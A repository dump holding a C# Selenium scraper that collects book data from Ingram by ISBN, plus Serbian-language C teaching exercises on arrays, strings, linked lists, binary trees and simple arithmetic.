public string Price { get; set; }
public string PriceComparision { get; set; } // для PubEasy
public string Discount { get; set; }
public string Availability { get; set; }
public string Availability2 { get; set; }
public string MarketRestrictions { get; set; } // для PubEasy
public string Readership { get; set; }
public string Edition { get; set; }
public string Weight { get; set; }
public string Dimensions { get; set; }
public string PubCountry { get; set; }
public string Classification { get; set; }
public string BookCover { get; set; }
public string Pages { get; set; }
public string Series { get; set; }
public string Description { get; set; }
public string Language { get; set; }
public string Contents { get; set; }
public string Length { get; set; }
public string Height { get; set; }
public string Width { get; set; }
public string ImageUrl { get; set; }
}
}
<file_sep>using OpenQA.Selenium;
using OpenQA.Selenium.Chrome;
using OpenQA.Selenium.Support.UI;
using RELOD_Tools.Logic;
using RELOD_Tools.WebSearch;
using System;
using System.Windows;
using System.Windows.Threading;
namespace RELOD_Tools.WebParsing.WebSearch.Site
{
class Ingram : SiteSearchModel
{
IWebDriver cd = new ChromeDriver();
bool AdvancedSearch = false;
public Ingram(string[] isbns)
{
string loginPage = "https://ipage.ingramcontent.com/ipage/li001.jsp";
string username = "<NAME>";
string password = "<PASSWORD>";
// Настраиваем Progress Bar
PB.Show();
int isbnsLength = isbns.Length;
PB.progressBar.Minimum = 0;
PB.progressBar.Maximum = isbnsLength;
PB.progressBar.Value = 0;
double progressvalue = 1;
UpdateProgressBarDelegate updatePbDelegate = new UpdateProgressBarDelegate(PB.progressBar.SetValue);
Application.Current.Dispatcher.Invoke(updatePbDelegate, DispatcherPriority.Background, new object[] { System.Windows.Controls.ProgressBar.ValueProperty, progressvalue });
//==================================================================================================
WebDriverWait wait5 = new WebDriverWait(cd, TimeSpan.FromSeconds(5));
WebDriverWait wait10 = new WebDriverWait(cd, TimeSpan.FromSeconds(10));
WebDriverWait wait16 = new WebDriverWait(cd, TimeSpan.FromSeconds(16));
try
{
cd.Url = loginPage;
IWebElement element;
// КОД для логина и пароля
element = cd.FindElement(By.Id("userIDText"));
element.SendKeys(username);
element = cd.FindElement(By.Id("passwordText"));
element.SendKeys(password);
element = cd.FindElement(By.XPath("//button[@class = 'btn btn-primary btn-block']"));
element.Click();
try
{
for (int i = 0; i < isbns.Length; i++)
{
// Передаем данные в Progress Bar для увеличения шкалы и обновления UI
PB.Title = $"Поиск по сайту Ingram. Обработано {i + 1} из {isbnsLength}";
PB.progressBar.Value++;
progressvalue++;
Application.Current.Dispatcher.Invoke(updatePbDelegate, DispatcherPriority.Background,
new object[] { System.Windows.Controls.ProgressBar.ValueProperty, progressvalue });
//==================================================================================================
number = (i + 1).ToString();
isbn = isbns[i].Replace("\n", "");
isbn = isbn.Replace("\r", "");
if (isbns[i] != string.Empty)
{
element = cd.FindElement(By.XPath("//*[@id = 'searchText']"));
element.Clear();
element.SendKeys(isbns[i]);
element.SendKeys(Keys.Enter);
try
{
// КОД для определения нашлась ли искомая позиция
element = cd.FindElement(By.XPath("//div[@class = 'toggleBox, searchCorrect top-row breadcrum-section']"));
AdvancedSearch = true;
}
catch { }
if (AdvancedSearch != true)
{
try // Поиск наименования
{
element = cd.FindElement(By.XPath("//span[@class = 'productDetailTitle']"));
title = element.Text;
}
catch { }
try // Поиск автора
{
element = cd.FindElement(By.XPath("//a[@class = 'doContributorSearch']/span"));
author = element.Text;
}
catch { }
try // Поиск даты издания
{
element = cd.FindElement(By.XPath("//div[@class = 'productDetailElements' and ./strong[contains(text(), 'Pub Date:')]]"));
pubDate = element.Text;
pubDate = pubDate.Replace("Pub Date: ", "");
}
catch { }
try // Поиск издательства
{
element = cd.FindElement(By.XPath("//a[@class = 'doSid']"));
publisher = element.Text;
}
catch { }
try // Поиск цены
{
element = cd.FindElement(By.XPath("//div[@class = 'productDetailElements' and ./strong[contains(text(), 'US SRP:')]]"));
priceWithCurrency = element.Text;
priceWithCurrency = priceWithCurrency.Replace("US SRP: $", "");
priceWithCurrency = priceWithCurrency.Remove(priceWithCurrency.IndexOf(" ")) + " USD"; // удалить весть текст после " "
price = priceWithCurrency.Replace(" USD", "");
price = price.Replace(".", ",");
}
catch { }
try // Поиск скидки
{
element = cd.FindElement(By.XPath("//div[@class = 'productDetailElements' and ./strong[contains(text(), 'US SRP:')]]"));
discount = element.Text;
discount = discount.Replace("REG", "42%");
discount = discount.Remove(discount.IndexOf(")")); // удалить весть текст после (и включительно) "%", если % нужно оставить, то проставить +1
discount = discount.Substring(discount.IndexOf("Discount: ")); // удалить все до символа
discount = discount.Replace("Discount: ", "");
discount = discount.Replace("%", "");
}
catch { }
try // Поиск доступности
{
element = cd.FindElement(By.XPath("//span[@class = 'productDetailTitle']/following-sibling::strong"));
availability = element.Text;
availability = availability.Replace("- ", "");
}
catch { }
try // Поиск доступности с количествами по разным складам
{
bool result;
int temp1 = 0;
int temp2 = 0;
int temp3 = 0;
int temp4 = 0;
int temp5 = 0;
int temp6 = 0;
int temp;
IWebElement availabilityTN = cd.FindElement(By.XPath("//table[@class = 'newStockCheckTable']//tr[3]//td[@class = 'scTabledata']"));
availability = "In stock TN: " + availabilityTN.Text;
availability = availability.Replace(",", "");
try
{
IWebElement availabilityPAC = cd.FindElement(By.XPath("//table[@class = 'newStockCheckTable']//tr[2]//td[@class = 'scTabledata']"));
result = Int32.TryParse(availabilityPAC.Text.Replace(",", ""), out temp1);
}
catch { }
try
{
IWebElement availabilityCA = cd.FindElement(By.XPath("//table[@class = 'newAltStockCheckTable']//tr[1]//td[@class = 'scTabledata']"));
result = Int32.TryParse(availabilityCA.Text.Replace(",", ""), out temp2);
}
catch { }
try
{
IWebElement availabilityIN = cd.FindElement(By.XPath("//table[@class = 'newAltStockCheckTable']//tr[2]//td[@class = 'scTabledata']"));
result = Int32.TryParse(availabilityIN.Text.Replace(",", ""), out temp3);
}
catch { }
try
{
IWebElement availabilityOH = cd.FindElement(By.XPath("//table[@class = 'newAltStockCheckTable']//tr[3]//td[@class = 'scTabledata']"));
result = Int32.TryParse(availabilityOH.Text.Replace(",", ""), out temp4);
}
catch { }
try
{
IWebElement availabilityOR = cd.FindElement(By.XPath("//table[@class = 'newAltStockCheckTable']//tr[4]//td[@class = 'scTabledata']"));
result = Int32.TryParse(availabilityOR.Text.Replace(",", ""), out temp5);
}
catch { }
try
{
IWebElement availabilityPAA = cd.FindElement(By.XPath("//table[@class = 'newAltStockCheckTable']//tr[5]//td[@class = 'scTabledata']"));
result = Int32.TryParse(availabilityPAA.Text.Replace(",", ""), out temp6);
}
catch { }
temp = temp1 + temp2 + temp3 + temp4 + temp5 + temp6;
availability2 = "Another warehouses: " + temp.ToString();
}
catch { }
try // Поиск Readership
{
element = cd.FindElement(By.XPath("//td[@class = 'productDetailSmallElements' and ./strong[contains(text(), 'Target Age Group:')]]"));
readership = element.Text;
readership = readership.Replace("Target Age Group: ", "");
}
catch { }
try // Поиск веса
{
element = cd.FindElement(By.XPath("//td[@class = 'productDetailSmallElements' and ./strong[contains(text(), 'Physical Info:')]]"));
weight = element.Text;
weight = weight.Substring(weight.IndexOf("(") + 1); // удалить все до символа
weight = weight.Remove(weight.IndexOf(") ")); // удалить весть текст после (и включительно) ")", если ) нужно оставить, то проставить +1
}
catch { }
try // Поиск размеров
{
element = cd.FindElement(By.XPath("//td[@class = 'productDetailSmallElements' and ./strong[contains(text(), 'Physical Info:')]]"));
dimensions = element.Text;
dimensions = dimensions.Replace("Physical Info: ", "");
dimensions = dimensions.Remove(dimensions.IndexOf("(")); // удалить весть текст после (и включительно) "(", если ( нужно оставить, то проставить +1
dimensions = dimensions.Replace(" H", "");
dimensions = dimensions.Replace(" L", "");
dimensions = dimensions.Replace(" W", "");
string[] temp = dimensions.Split('x');
temp[0] = temp[0].Replace(" cms", ""); //Width (mm)
temp[1] = temp[1].Replace(" cms", ""); //Height (mm)
temp[2] = temp[2].Replace(" cms", ""); //Lenght (mm)
temp[0] = temp[0].Replace(".", ",");
temp[1] = temp[1].Replace(".", ",");
temp[2] = temp[2].Replace(".", ",");
double temp1 = Convert.ToDouble(temp[2]);
temp1 = temp1 * 10;
height = temp1.ToString();
double temp2 = Convert.ToDouble(temp[1]);
temp2 = temp2 * 10;
width = temp2.ToString();
double temp3 = Convert.ToDouble(temp[0]);
temp3 = temp3 * 10;
length = temp3.ToString();
}
catch { }
try // Поиск обложки
{
element = cd.FindElement(By.XPath("//div[@class = 'productDetailElements' and ./strong[contains(text(), 'Binding:')]]"));
bookCover = element.Text;
bookCover = bookCover.Replace("Binding: ", "");
}
catch { }
try // Поиск количества страниц
{
element = cd.FindElement(By.XPath("//td[@class = 'productDetailSmallElements' and ./strong[contains(text(), 'Physical Info:')]]"));
pages = element.Text;
pages = pages.Substring(pages.IndexOf(")") + 1);
}
catch { }
try // Поиск серии
{
element = cd.FindElement(By.XPath("//td[@class = 'productDetailSmallElements' and ./strong[contains(text(), 'Series:')]]/a"));
series = element.Text;
}
catch { }
try // Поиск описания
{
element = cd.FindElement(By.XPath("//div[@class = 'productDetailElements' and .//strong[contains(text(), 'Annotation:')]]/div/div"));
description = element.Text;
description = description.Replace("\n", "");
description = description.Replace("\r", "");
description = description.Replace("\r\n", "");
try
{
element = cd.FindElement(By.XPath("//div[@class = 'productDetailElements' and .//strong[contains(text(), 'Annotation:')]]/div/a"));
element.Click();
element = cd.FindElement(By.XPath("//div[@class = 'productDetailElements' and .//strong[contains(text(), 'Annotation:')]]/div[2]/div"));
description = element.Text;
description = description.Replace("\n", "");
description = description.Replace("\r", "");
description = description.Replace("\r\n", "");
}
catch { }
}
catch { }
try // Поиск второго ISBN
{
element = cd.FindElement(By.XPath("//div[@class = 'newerVersionAvailable']/a"));
element.Click();
try
{
element = cd.FindElement(By.XPath("//div[@class = 'productDetailElements' and .//strong[contains(text(), 'EAN:')]]"));
isbn2 = element.Text;
isbn2 = isbn2.Substring(isbn2.IndexOf("EAN:"));
isbn2 = isbn2.Replace("EAN:", "");
}
catch { }
}
catch { }
}
AdvancedSearch = false;
AddBookToList();
ClearBookList();
}
}
}
catch (Exception ex)
{
cd.Quit();
PB.Close();
Errors.CustomError(ex);
}
cd.Quit();
WorkWithFile.SaveFile(book);
PB.Close();
}
catch (Exception ex)
{
cd.Quit();
PB.Close();
Errors.LoginPageError(ex);
}
}
}
}
| bea58e2959cc0d1ec4ac8b6301c6c285c2375a21 | [
"C#"
] | 21 | C# | Bezumk1n/RELOD-Tools | 083703ead5e40281a220c4d1590ca0e6ce430210 | 97b6bf91f796bc61971de529ead60bb70a334bfb |
refs/heads/master | <file_sep>/*
Napisati program koji učitava dve kvadratne
matrice A i B dimenzije n, ispisuje njihovu sumu
A+B i proizvod A*B
*/
#include <stdio.h>
#define MAX 10
int main() {
int i, j, k, n;
int A[MAX][MAX], B[MAX][MAX], C[MAX][MAX];
printf("Unesite velicinu celobrojih kvadratnih matrica: ");
scanf("%d", &n);
printf("Unos matrice A: \n");
for (i = 0; i < n; i++) {
for (j = 0; j < n; j++) {
printf("A[%d][%d] = ", i+1, j + 1);
scanf("%d", &A[i][j]);
}
}
printf("Unos matrice B: \n");
for (i = 0; i < n; i++) {
for (j = 0; j < n; j++) {
printf("B[%d][%d] = ", i+1, j + 1);
scanf("%d", &B[i][j]);
}
}
// C = A + B
for (i = 0; i < n; i++) {
for (j = 0; j < n; j++) {
C[i][j] = A[i][j] + B[i][j];
}
}
printf("Ispis matrice C: (C = A + B)\n");
for (i = 0; i < n; i++) {
for (j = 0; j < n; j++) {
printf("C[%d][%d] = %d \t", i+1, j + 1, C[i][j]);
}
printf("\n");
}
// C = A * B
for (i = 0; i < n; i++) {
for (j = 0; j < n; j++) {
C[i][j] = 0;
for (k = 0; k < n; k++) {
C[i][j] += A[i][k] * B[k][j];
}
}
}
printf("Ispis matrice C: (C = A * B) \n");
for (i = 0; i < n; i++) {
for (j = 0; j < n; j++) {
printf("C[%d][%d] = %d \t", i+1, j + 1, C[i][j]);
}
printf("\n");
}
return 0;
}
<file_sep>/*
Napisati funkciju void updown(char
*s) koja mala slova u stringu s
pretvara u velika, i obrnuto. Ostale
karaktere u stringu (cifre, znakove
interpunkcije, itd) funkcija ne sme
modifikovati. U glavnom programu od
korisnika učitati string. Nakon toga,
string obraditi implementiranom
funkcijom i ispisati rezultat.
*/
#include <stdio.h>
#define MAX_SIZE 101
void updown(char *);
int main() {
char string[MAX_SIZE];
puts("Unesite string:");
__fpurge(stdin);
gets(string);
updown(string);
puts(string);
return 0;
}
void updown(char *niz){
while(*niz) {
if (*niz >= 'A' && *niz <= 'Z')
*niz += 32;
else if (*niz >= 'a' && *niz <= 'z')
*niz -= 32;
niz++;
}
}
<file_sep>/*
Dat je niz od maksimalno 30 celobrojnih
elemenata. Učitati n elemenata i ispisati ih po
učitanom i obrnutom redosledu.
*/
#include <stdio.h>
#define MAX_SIZE 30
int main () {
int a[MAX_SIZE];
int i, n;
do {
printf("Unesite broj elemenata niza: \n");
scanf("%d", &n);
} while (n <= 0 && n > MAX_SIZE);
for (i = 0; i< n; i++) {
a[i] = 0;
}
for (i = 0; i< n; i++) {
printf("a[%d] = ", i);
scanf("%d", &a[i]);
}
printf("Elementi po ucitanom redosledu: \n");
for (i = 0; i< n; i++) {
printf("a[%d] = %d \t", i, a[i]);
}
printf("\nElementi po obrnutom redosledu: \n");
for (i = n - 1; i >= 0; i--) {
printf("a[%d] = %d \t", i, a[i]);
}
printf("\n");
return 0;
}
<file_sep>/*
Napisati C program koji računa sumu prvih n
prirodnih brojeva, pri čemu se n zadaje na
početku programa.
*/
#include <stdio.h>
#include <stdlib.h>
int main()
{
int i, n, s;
printf("Uneti broj n: \n");
scanf("%d", &n);
for(i = 1; i <= n; i++) {
s += i;
printf("s = %d\n", s);
}
printf("s = %d\n", s);
return 0;
}
<file_sep>#include <stdio.h>
int main() {
printf("Velicina memorije (izrazena u bajtovima) iznosi:");
printf("\n-za char \t %lu", sizeof(char));
printf("\n-za int \t %lu", sizeof(int));
printf("\n-za float \t %lu", sizeof(float));
printf("\n-za double \t %lu\n", sizeof(double));
return 0;
}
<file_sep>#include <stdio.h>
#include <stdlib.h>
#define MAX_MARKA 21
typedef struct automobil_t
{
char marka[MAX_MARKA];
unsigned int kubikaza;
int godina;
} AUTOMOBIL;
typedef struct node_t
{
struct node_t *pnext;
AUTOMOBIL value;
} NODE;
typedef struct list_descriptor_t {
NODE *phead;
} LIST_DESCRIPTOR;
void initialize(LIST_DESCRIPTOR *);
void destroy(LIST_DESCRIPTOR *);
void read(FILE *, LIST_DESCRIPTOR *);
NODE *new_node(AUTOMOBIL);
LIST_DESCRIPTOR *push_back(LIST_DESCRIPTOR *, AUTOMOBIL);
NODE *find(LIST_DESCRIPTOR *, char *);
void print_to_file(FILE *, NODE *);
int delete(LIST_DESCRIPTOR *, char *);
void save(FILE *, LIST_DESCRIPTOR *);
NODE *newest(LIST_DESCRIPTOR *, unsigned);
int main()
{
int radi = 1;
LIST_DESCRIPTOR descriptor;
initialize(&descriptor);
while (radi)
{
puts("1 - Unos iz datoteke");
puts("2 - Unos jednog automobila");
puts("3 - Pronalazenje po marki");
puts("4 - Brisanje automobila");
puts("5 - Snimanje u datoteku");
puts("6 - Pronalazenje najnovijeg");
puts("7 - Izlaz iz programa");
int c;
scanf("%d", &c);
AUTOMOBIL a;
FILE *file;
char naziv[100];
switch (c)
{
case 1:
printf("Unesite ime datoteke: ");
scanf("%s", naziv);
file = fopen(naziv, "r");
if (file)
{
read(file, &descriptor);
fclose(file);
}
else
{
puts("Nije moguce otvoriti datoteku");
}
break;
case 2:
printf("Unesite marku: ");
scanf("%s", a.marka);
printf("Unesite kubikazu: ");
scanf("%u", &a.kubikaza);
printf("Unesite godinu: ");
scanf("%d", &a.godina);
push_back(&descriptor, a);
break;
case 3:
printf("Unesite marku: ");
scanf("%s", a.marka);
print_to_file(stdout, find(&descriptor, a.marka));
break;
case 4:
printf("Unesite marku: ");
scanf("%s", a.marka);
if (delete(&descriptor, a.marka))
{
puts("Uspesno obrisan!");
}
else
{
puts("Nije uspesno obrisan!");
}
break;
case 5:
printf("Unesite ime datoteke: ");
scanf("%s", naziv);
file = fopen(naziv, "w");
save(file, &descriptor);
fclose(file);
break;
case 6:
printf("Unesite kubikazu: ");
scanf("%u", &a.kubikaza);
print_to_file(stdout, newest(&descriptor, a.kubikaza));
break;
case 7:
radi = 0;
break;
default:
puts("Nepoznata opcija!");
}
}
destroy(&descriptor);
return 0;
}
void initialize(LIST_DESCRIPTOR *pdescriptor) {
pdescriptor->phead = NULL;
}
void destroy(LIST_DESCRIPTOR *pdescriptor) {
NODE *ptemp = NULL;
while (pdescriptor->phead) {
ptemp = pdescriptor->phead;
pdescriptor->phead = ptemp->pnext;
free(ptemp);
}
initialize(pdescriptor);
}
void read(FILE *file, LIST_DESCRIPTOR *pdescriptor){
AUTOMOBIL a;
destroy(pdescriptor);
while (fscanf(file, "%s %u %d", a.marka, &a.kubikaza, &a.godina) != EOF)
{
push_back(pdescriptor, a);
}
}
LIST_DESCRIPTOR *push_back(LIST_DESCRIPTOR *pdescriptor, AUTOMOBIL a) {
if(find(pdescriptor, a.marka)){
return;
}
NODE *pnew = new_node(a);
NODE *pcurr = pdescriptor->phead;
if (pcurr == NULL) {
pdescriptor->phead = pnew;
} else {
while (pcurr->pnext != NULL) {
pcurr = pcurr->pnext;
}
pcurr->pnext = pnew;
}
return pdescriptor;
}
NODE *new_node(AUTOMOBIL a) {
NODE *pnew = malloc(sizeof(NODE));
pnew->value = a;
pnew->pnext = NULL;
return pnew;
}
NODE *find(LIST_DESCRIPTOR *pdescriptor, char* marka){
NODE *pcurr = pdescriptor->phead;
while (pcurr != NULL) {
if (strcmp(pcurr->value.marka, marka) == 0){
return pcurr;
}
pcurr = pcurr->pnext;
}
return NULL;
}
int delete(LIST_DESCRIPTOR *pdescriptor, char* marka){
NODE *pcurr = pdescriptor->phead;
if (pcurr == NULL){ // lista je prazna
return 0;
}
if (strcmp(pcurr->value.marka, marka) == 0){ // ako brisemo sa pocetka
pdescriptor->phead = pcurr->pnext;
free(pcurr);
return 1;
}
pcurr = pdescriptor->phead;
while (pcurr->pnext != NULL){
if (strcmp(pcurr->pnext->value.marka, marka) == 0){ // brisemo iz sredine ili sa kraja
NODE *ptemp = pcurr->pnext;
pcurr->pnext = pcurr->pnext->pnext;
free(ptemp);
return 1;
}
pcurr = pcurr->pnext;
}
return 0;
}
void save(FILE *file, LIST_DESCRIPTOR *pdescriptor){
NODE *pcurr = pdescriptor->phead;
while(pcurr != NULL){
print_to_file(file, pcurr);
pcurr = pcurr->pnext;
}
}
void print_to_file(FILE *file, NODE *node){
if(node != NULL){
fprintf(file, "%s %u %d\n", node->value.marka, node->value.kubikaza, node->value.godina);
}
else printf("Trazeni automobil ne postoji\n");
}
NODE *newest(LIST_DESCRIPTOR *pdescriptor, unsigned kubikaza){
NODE *pcurr = pdescriptor->phead;
while (pcurr != NULL) {
if (pcurr->value.kubikaza == kubikaza){ //pronaci ce tacno unetu kubikazu
return pcurr;
}
pcurr = pcurr->pnext;
}
return NULL;
}
<file_sep>/* Aritmeticke operacije */
#include <stdio.h>
int main() {
int a = 5;
int b = 3;
printf("Zbir a+b je : %d\n",a+b);
printf("Razlika a-b je : %d\n",a-b);
printf("Proizvod a*b je : %d\n",a*b);
printf("Celobrojni kolicnik a/b je : %d\n", a/b);
printf("Pogresan pokusaj racunanja realnog kolicnika a/b je : %f\n", a/b);
printf("Realni kolicnik a/b je : %f\n", (float)a/(float)b);
printf("Ostatak pri deljenju a/b je : %d\n", a%b);
return 0;
}
<file_sep>/*
Dat je niz od maksimalno 20 realnih elemenata.
Učitati n elemenata, a zatim sortirati niz u
rastućem redosledu.
• koristiti algoritam po izboru
*/
#include <stdio.h>
#define MAX_SIZE 20
int main() {
double a[MAX_SIZE], max;
int i, n, changes;
do {
printf("Unesite broj elemenata niza: ");
scanf("%d", &n);
} while(n <= 0 || n > MAX_SIZE);
for(i = 0;i < n;i++) {
printf("a[%d] = ", i);
scanf("%lf", &a[i]);
}
double temp;
do {
changes = 0;
for(i = 1;i < n;i++) {
if(a[i - 1] > a[i]) {
temp = a[i - 1];
a[i - 1] = a[i];
a[i] = temp;
changes = 1;
}
}
} while(changes);
printf("Niz nakon sortiranja: ");
for(i = 0;i < n;i++) {
if(i > 0) {
printf(", ");
}
printf("%.2lf", a[i]);
}
printf("\n");
return 0;
}
<file_sep>#include <stdio.h>
#include <stdlib.h>
typedef struct node
{
struct node *left;
struct node *right;
int value;
} node_t, *tree_t;
void preorder(tree_t tree)
{
if (tree)
{
printf("%d\t", tree->value);
preorder(tree->left);
preorder(tree->right);
}
}
void inorder(tree_t tree)
{
if (tree)
{
inorder(tree->left);
printf("%d\t", tree->value);
inorder(tree->right);
}
}
void reverse_order(tree_t tree)
{
if (tree)
{
reverse_order(tree->right);
printf("%d\t", tree->value);
reverse_order(tree->left);
}
}
void postorder(tree_t tree){
if (tree)
{
postorder(tree->left);
postorder(tree->right);
printf("%d\t", tree->value);
}
}
void insert(tree_t *tree, int value)
{
if (*tree == NULL)
{
*tree = malloc(sizeof(node_t));
(*tree)->value = value;
(*tree)->left = NULL;
(*tree)->right = NULL;
}
else if (value < (*tree)->value)
{
insert(&(*tree)->left, value);
}
else
{
insert(&(*tree)->right, value);
}
}
void deltree(tree_t *tree)
{
if (*tree != NULL)
{
deltree(&(*tree)->left);
deltree(&(*tree)->right);
free(*tree);
*tree = NULL;
}
}
int main()
{
tree_t tree = NULL;
insert(&tree, 8);
insert(&tree, 5);
insert(&tree, 9);
insert(&tree, 6);
insert(&tree, 4);
preorder(tree);
putchar('\n');
inorder(tree);
putchar('\n');
reverse_order(tree);
putchar('\n');
postorder(tree);
putchar('\n');
deltree(&tree);
return 0;
}
<file_sep>#include <stdio.h>
int main() {
int i;
int *pi = NULL;
printf("\t\t\tint i; int *pi = NULL;\n\n");
printf("Adresa pokazivaca: %p, vrednost: %p\n", &pi, pi);
i = 7;
pi = &i;
printf("\n\n\t\t\ti=7; pi=&i;\n\n");
printf("Adresa promenljive: %p, vrednost: %d\n", &i, i);
printf("Adresa pokazivaca : %p, vrednost: %p\n", &pi, pi);
printf("Vrednost pokazivaca: %p, sadrzaj: %d\n", pi, *pi);
i = 10;
printf("\n\n\t\t\ti = 10;\n\n");
printf("Vrednost pokazivaca: %p, sadrzaj: %d\n", pi, *pi);
(*pi)++; //zasto zagrade? -> prioritet operatora eksplicitno izrazen
printf("\n\n\t\t\t(*pi)++\n\n");
printf("Adresa promenljive: %p, vrednost: %d\n", &i, i);
return 0;
}
<file_sep>/*
Napisati program kojim se vrši prevođenje
količine tečnosti iz galona u litre, ako je 1 galon
4.54 litra. Količina tečnosti u galovnima se unosi
sa tastature.
*/
#include <stdio.h>
int main() {
double litre, galoni;
printf("Unesite kolicinu tecnosti u galonima: \n");
scanf("%lf", &galoni);
litre = galoni * 4.54;
printf("Kolicina tecnosti u litrama je: %.2lf. \n", litre);
return 0;
}
<file_sep>/*
Učitava se temperatura u celzijusima i
konvertuje u Kelvine*/
#include <stdio.h>
int main( ) {
double celzijusi, kelvini;
printf("Unesite temperaturu u celzijusima: ");
scanf("%lf", &celzijusi);
kelvini = celzijusi + 273.15;
printf("%lf stepeni celzijusa je %lf stepeni kelvina. \n", celzijusi, kelvini);
return 0;
}
<file_sep># EE_PJiSP_2018
Rešenja zadataka sa vežbi.
Kompajliranje: gcc fajl.c Pokretanje: ./a.out
Kompajliranje: gcc -o ime fajl.c Pokretanje: ./ime
Ukoliko se koristi math.h biblioteka neophodno je dodati -lm na kraju naredbe za kompajliranje. (npr. gcc fajl.c -lm)
Mejlovi:
<NAME> <EMAIL>
<NAME> <EMAIL>
<NAME> <EMAIL>
<NAME> <EMAIL>
<NAME> <EMAIL>
<file_sep>#include <stdio.h>
float power(float x, int k);
int main() {
/* Poziv funkcije */
float s = power(2.0,8);
printf("%f\n", s);
return 0;
}
/* stepenuje x^k tako sto k puta pomnozi x */
float power(float x, int k) {
int i;
float rezultat = 1;
for (i = 0; i<k; i++)
rezultat*=x;
return rezultat;
}
<file_sep>#include <stdio.h>
int main() {
int ocena;
printf("Unesite ocenu: \n");
scanf("%d", &ocena);
switch (ocena) {
case 5: printf("Odlican!\n\n");
break;
case 4: printf("Vrlo dobar!\n\n");
break;
case 3: printf("Dobar!\n\n");
break;
case 2: printf("Dovoljan!\n\n");
break;
case 1: printf("Nedovoljan!\n\n");
break;
default: printf("Ocena mora biti izmedju 1 i 5.");
}
return 0;
}
<file_sep>/*
Napisati funkciju int jednaki(char
*s1, char *s2) koja proverava da li su
stringovi s1 i s2 jednaki. U glavnom
programu od korisnika učitati dva
stringa (maksimalne dužine 20
karaktera) i ispisati da li su jednaki.
*/
#include <stdio.h>
#include <string.h>
#define MAX_SIZE 20
int jednaki(char *, char *);
int main() {
char string1[MAX_SIZE], string2[MAX_SIZE];
puts("Unesite prvi string");
__fpurge(stdin);
gets(string1);
puts("Unesite drugi string");
__fpurge(stdin);
gets(string2);
if (jednaki(string1, string2))
puts("Uneti stringovi su jednaki.");
else
puts("Uneti stringovi nisu jednaki.");
return 0;
}
int jednaki(char *niz1, char *niz2) {
if(strlen(niz1) != strlen(niz2))
return 0;
while(*niz1) {
if (*niz1 != *niz2)
return 0;
niz1++;
niz2++;
}
return 1;
}
<file_sep>/*
koristenje char kao znakovnog tipa i za malu numericku vrednost
*/
#include<stdio.h>
int main() {
char znak;
printf("Unesite znak: ");
scanf("%c", &znak);
printf("Znak kao karakter je: %c\n", znak);
printf("Numericka vrednost znak-a je: %d\n", znak);
printf("Karakter posle %c je %c\n", znak, znak+1);
return 0;
}
<file_sep>/*
Dati su prirodni brojevi n,m (n <= m). Napisati program
koji određuje koji od brojeva od n do m predstavljaju
prestupne godine. Godina je prestupna ako je
zadovoljen sledeći skup uslova:
1. broj godine je deljiv sa četiri, i
2. važi jedno od sledećih pravila:
- broj godine nije deljiv sa 100
- broj godine je deljiv sa 400
*/
#include <stdio.h>
void unos_brojeva(int *, int *);
int prestupna(int);
void ispis_prestupnih(int, int);
int main() {
int n, m;
unos_brojeva(&n, &m);
printf("Prestupne godine su:\n");
ispis_prestupnih(n, m);
return 0;
}
void unos_brojeva(int *n, int *m) {
do {
printf("Od godine: ");
scanf("%d", n);
printf("Do godine: ");
scanf("%d", m);
} while(*n > *m || *n < 0);
}
int prestupna(int godina) {
return (godina % 4 == 0) && (godina % 100 != 0 || godina % 400 == 0);
}
void ispis_prestupnih(int n, int m) {
int i;
for(i = n; i <= m; i++) {
if(prestupna(i)) {
printf("%d\n", i);
}
}
}
<file_sep>/*
Jedan radnik određeni posao uradi za M dana, a
drugi radnik isti posao uradi za N dana. Napisati
program kojim se određuje za koliko dana bi taj
posao bio završen ako bi radili zajedno. Vrednosti
M i N se unose sa tastature.
*/
#include <stdio.h>
int main() {
double M, N, x_dana;
printf("Uneti koliko dana je potrebno prvom radniku za posao: \n");
scanf("%lf", &M);
printf("Uneti koliko dana je potrebno drugom radniku za posao: \n");
scanf("%lf", &N);
/*
Za jedan dan prvi radnik uradi 1/M posla, a drugi 1/N
=> zajedno za dan urade 1/M + 1/N
=> jedan_dan : (1/M + 1/N) = x_dana : ceo_posao
=> 1 : (1/M + 1/N) = x_dana : 1
*/
x_dana = 1 / (1/M + 1/N);
printf("Dvojici radnika je potrebno %.1lf dana za posao. \n", x_dana);
return 0;
}
<file_sep>/*
Sa standardnog ulaza učitati prirodan broj N.
Ispisati sve njegove činioce.
*/
#include <stdio.h>
int main() {
int n, i;
printf("Unesite prirodan broj n: \n");
scanf("%d", &n);
for (i = 1; i <= n; i++) {
if((n % i) == 0) {
printf("%d \t", i);
}
}
printf("\n");
return;
}
<file_sep>/*
Izračunati površinu trougla upotrebom Heronovog obrasca,
vrednosti stranica uneti sa tastature. Na izlazu štampati
vrednost površine trougla na dve decimale.
*/
#include <stdio.h>
#include <math.h>
int main() {
double a, b, c;
double s, P;
printf("Unesite vrednost stranice a: ");
scanf("%lf", &a);
printf("Unesite vrednost stranice b: ");
scanf("%lf", &b);
printf("Unesite vrednost stranice c: ");
scanf("%lf", &c);
s = (a + b + c)/2;
P = sqrt(s * (s-a) * (s-b) * (s-c));
printf("P = %.2lf\n",P);
return 0;
}
<file_sep>/*
Napisati program koji učitava paran prirodan broj n veći
od 2 a zatim koristeći funkciju prost proverava hipotezu
Goldbaha za dati broj n. Prema hipotezi, svaki paran
broj veći od dva može se predstaviti zbirom dva prosta
broja.
*/
#include<stdio.h>
int prost(int);
void goldbah(int);
int main() {
int broj;
do {
printf("Unesite paran broj veci od 2: ");
scanf("%d", &broj);
} while (broj % 2 != 0 || broj <= 2);
goldbah(broj);
return 0;
}
int prost(int n) {
int i;
if (n == 2) {
return 1;
}
for (i = 2; i< n - 1; i++) {
if (n % i == 0){
return 0; //nije prost
}
}
return 1; //broj je prost
}
void goldbah (int paran_broj) {
int i;
for (i = 2; i < paran_broj - 1; i++) {
if (prost(i) && prost(paran_broj - i)) {
printf("Broj %d moze se predstaviti kao zbir sledeca dva prosta broja: %d i %d\n", paran_broj, i, paran_broj - i);
break;
}
}
}
| 10703328de43d5f04968cff3d08c86e8fc265db6 | [
"Markdown",
"C"
] | 22 | C | lenaninkovic/EE_PJiSP_2018 | 29be1bcb370bae69782eb22019c228f6c6e83cee | a3016e66b171ac77210ff365c36678a6534fedbe |
refs/heads/master | <file_sep>/* Énoncé - contraintes
Complétez ce programme pour qu’il donne la possibilité à l’utilisateur de deviner le nombre contenu dans iRandom.
L’utilisateur a un maximum de 5 chances. Le programme vérifie que l’utilisateur a bien entré un nombre entre 0 et
100 et lui indique s’il gagne ou dans le cas contraire lui indique le nombre d’essais restant et lui redemande un
nombre.
PLAN TEST
reponse résultat
